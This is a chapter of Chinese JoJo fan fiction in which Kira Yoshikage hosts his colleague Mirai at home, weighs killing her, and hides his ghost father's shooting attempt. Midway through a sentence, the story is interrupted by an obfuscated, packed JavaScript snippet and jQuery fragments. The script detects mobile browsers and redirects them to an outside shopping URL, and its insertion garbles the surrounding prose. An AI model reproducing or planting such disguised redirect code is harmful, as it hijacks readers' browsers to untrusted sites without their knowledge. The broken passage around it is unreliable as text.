电影结束后,未来和吉良吉影走下楼梯。
前排的情侣一边走,一边热烈地讨论着剧情。
吉良吉影张了张口,但最终什么话也没有说。
狭窄的旋转楼梯只容下一人通过,未来走在前面,身影随楼梯的弧度,时而出现在他的视线里,时而被墙壁遮挡。
吉良吉影望着那个时隐时现的背影,脑海中再次浮现出那个问题。
——自己今晚,要不要杀了她。
吉良吉影觉得,自己应该感到庆幸。
终于可以摆脱不堪其扰的同事了,这是一个难得的机会。
偏离轨道的日子终于要告一段落,而自己也能够重新回到过去那种安稳而规律的生活中。
然而,心中却有种难以言喻的感觉。
这种感受似曾相识,吉良吉影却一时回想不起,究竟是什么时候,有过这种感受。
直到走下楼梯,吉良吉影终于回想起来,上一次有这种感受,是父亲因癌症去世的时候。
那时,他抱着小小的骨灰罐回到家中。
明明只是少了一个人而已。
可不知为何,原本熟悉的房间却突然变得空旷
可这种感觉并没有持续太久,因为很快,他便发现父亲觉醒了替身,并以另一种形式重新回到了自己的生活之中。
再次有这种感觉,大略是因为,这是他第一次,允许某个人如此频繁地出现在自己的生活里。
吉良吉影想,或许因为她是同类的缘故吧,才会一直宽恕她出现在自己身边。
如果说,过去的那些结束他人生命的时刻,像是每日重复的餐饭,而这一次,便是生日蛋糕。
或许这一次,处理的时候,可以稍微特别一些,就像在生日蛋糕上插上蜡烛一样,给自己,也给她一个有仪式感的终结。
到了停车场,吉良吉影打开车门,让未来从副驾驶上来,然后来到主驾驶的位置。
上车的时候,吉良吉影恰好看到,未来很小心地将那个包放在自己腿上。
在出停车场,经过减速带的时候,稍微有些颠簸,未来也下意识地瞥向自己的包。
她很在意自己的收藏品吗?
吉良吉影忽然问道,“你会将我也做成那样吗?”
未来反应了好一会儿,才意识到他在说承太郎。
吉良前辈这么问,是因为害怕吗?怕自己将他也缩小,放在包里。
“不会,他的情况比较特殊。”未来并没有透露太多,自己为什么要这么做。
然而没想到,吉良吉影却追问道:“为什么不呢?没有达到你的标准吗。”
未来从他的语气里,听出了几分吃味。
标准什么的,到底是什么意思。
承太郎是因为使用了任意门,承担了改变因果的代价,自己才不得不把他缩小后随身携带,哪里有什么标准之说。
未来捕捉到了吉良吉影的情绪,于是问道:
“你想要我把你也变成这样吗?”
虽然心里觉得不太可能,未来还是这样问道。不过也说不准,吉良前辈看似成熟稳重,实则说不定,他和花京院一样,想要被变小,体验不一样的视野。
“不,抱歉,请不要在意我刚才说的话。”
吉良吉影很快否定了自己刚才说的话。
听到未来的问题,吉良吉影忽然反应了过来,他不知道,自己为什么忽然会问这样的问题。
不过像自己这样的人,一生都在收集别人的手,将它们视为珍贵的收藏。可到了生命最后,如果自己被其他人变成了珍贵的藏品,这样的结局倒也算是有趣。
像大多数白领的选择一样,吉良吉影的家位于较为高档的居民区。
既不像别墅那般张扬,也没有廉价出租屋的局促。
对吉良吉影而言,这是一个再合适不过的选择。
吉良吉影的家,采用了和风装潢。
玄关口的鞋架上,摆放着几双价值不菲的手工皮鞋,鞋尖一致向外,就连鞋与鞋之间的间隔,都近乎一致。
玄关上,也没有摆放任何冗余的饰物,只有一个陶瓷花瓶,几束木棉花怒放其中。
未来觉得,虽然说不出哪里,但感觉吉良吉影的家,和寻常人的家,略微有些不同。
随着居住的时间变长,一般人的家里,总会堆满各种杂物,诸如旅行的纪念品或者没来得及收拾的衣物。
然而吉良吉影的房间,简直像是样品间,找不到生活的痕迹,甚至连半开放式的收纳空间都没有。
所有物品都被收进柜子里,看不出主人的爱好,或者生活习惯。
进入客厅后,看未来一副若有所思的样子,吉良吉影问道“在想什么?”
“在想吉良前辈的手办收在哪里”
未来又说,“我能看看吗?”
她真的是锲而不舍。
吉良吉影转移话题道,“不是饿了吗?我先做饭好了”
吉良吉影一边说,一边从柜子里取出黑胶唱片,放在留声机上,又点燃了香薰,房子里弥散着一股雪松的味道。
做完这些之后,吉良吉影不紧不慢地卸下手表,又戴上围裙
“想吃什么?我的拿手菜是鳕鱼西京烧,还有鲑鱼茶泡饭。西式料理的话也可以。不过,既然是夜宵,还是不要吃太多油脂和碳水,会影响睡眠质量。”
未来说,随便什么都可以。
吉良吉影便踏着自己最喜欢的爵士乐走进了厨房。
实际上,未来压根不饿,也没有心思吃夜宵。
只是昨日发生了各种意外,她有些无措,又不想一个人待在杜王町大酒店,于是决定和吉良吉影多待一段时间。在她心目中,吉良吉影是个让人感到安心的成熟的前辈一般的存在。
未来走过来,想要给吉良吉影帮忙,吉良吉影却说没有必要,如果无聊的话,可以去看看电视。
未来刚坐在沙发上,就听到电视柜的放下谷忽然传来了一声轻微的咔嚓声。
紧接着,一道白光一闪而过。
紧接着,放在一旁桌子上的传真机嗡嗡的响了起来,一张照片被吐了出来。
自己是被拍了一张照?
和吉良吉影在一起的时候,灵异现象又发生了。难道由美说的是真的,吉良吉影真的被幽灵缠上了?
“吉良前辈,你不会真的被幽灵缠上了吧?”未来一边说一边走向传真机。
“幽灵?当然不会”吉良吉影随口答。“你怎么会这么想”
“可是传真机响了,我刚才也听到了拍照的声音。”
听到未来这么说,吉良吉影赶忙将头探出厨房。
“别靠近那个”
然而未来已经将传真机吐出的照片拿在了手里。
吉良吉影连手里的勺子都没有放下,就赶紧跑出厨房,一把将未来拉向自己。
与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776679|210042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
此同时,听到砰地一声,客厅的玻璃应声碎裂。
吉良吉影下意识便伸出手,护住未来的脑袋。
“吉良前辈,刚才是枪声吗?”未来并没有什么大碍,只是受到了惊吓。
然而吉良吉影的手却被玻璃划伤了,血汩汩流下来。
他转动手腕,检查自己的伤势后,对未来道,“不用担心,大概只是玻璃老化了,锅里还在煮东西,未来小姐,帮我看一下锅,我去简单包扎一下,很快回来”
找借口将走未来打发走后,吉良吉影拉开抽屉,里面有一张照片。
照片里的人,正是吉良吉影的父亲吉良吉广。
他曾因癌症去世,可由于觉醒了替身原子心之父的缘故,吉良吉广的灵魂寄宿在照片之中,成为了某种意义上的幽灵。
他无法像生前一样行动,却能够依靠照片作为媒介,观察并操纵被拍摄到的场景。
只要有人试图破坏吉良吉影好不容易维持的平静生活,吉良吉广便会毫不犹豫地出手阻止。
即使自己如今只能以照片的形式存在,他也始终将保护儿子视为自己的责任。
吉良吉广有些困惑道,“那女的是入侵者吧?你刚才为什么不让我杀死她”
“......也不算是入侵者,是我同意她来的”吉良吉影踟蹰道,“所以你别管了,别对她动手”
吉良吉广了然道,“原来如此,是你的新目标吧?所以你才不让我开枪,因为你想今晚亲手杀死她?"
吉良吉影给出了肯定的回答。
这时候,未来忽然从厨房探出脑袋问道
“吉良前辈,你家里的香薰到底是什么牌子的,真的很好闻,连厨房里炖汤的香味都盖不过它”
“那个不要好买到”吉良吉影说,“不过我存了几瓶,你要喜欢,等会儿可以带一瓶走”
“那我先谢谢前辈啦”
吉良吉广迷惑了。
不是,他刚不是说了,今晚就要把她杀死吗?
那怎么还有带东西回去这个环节?
吉良吉广从震惊中逐渐缓过神来,有了一个很不可置信的猜想:
难道——
“难道,难道,儿子,你和其他人一样,普通地带了约会的女伴回家”
“怎么会”吉良吉影下意识的反驳。“我怎么可能带女人回家”
“那你会杀了她吗?”
“......”
听到客厅这边有动静,未来熄灭了炉火,从厨房探出头来,就看到吉良吉影捧着一张照片喋喋不休。说什么不用担心,不需要女人之类的。
未来只能隐约看清,照片里是一个老人。
难道是父亲的遗像?
未来忽然觉得吉良前辈有点可怜,这么孤单,没有什么朋友,不得不和照片说话,说什么不需要女人之类的。
不过,公司在两周后,要举办一场联谊。
未来想到,也许可以偷偷用通行证写下“联谊的万人迷”,然后贴在吉良吉影身上。
不知道这样的话,他会不会因此认识一些新的朋友,受到异性的青睐,这样或许会感觉好点。
就在这时候,有电话打来,是杜王町大酒店的前台,说有一位外国人,外送了很多花给她,问她是否在房间,可以下来取。
大略就是昨天碰到的那位,未来想。
未来想了想,交代前台,说自己不在,随便他们处理便好。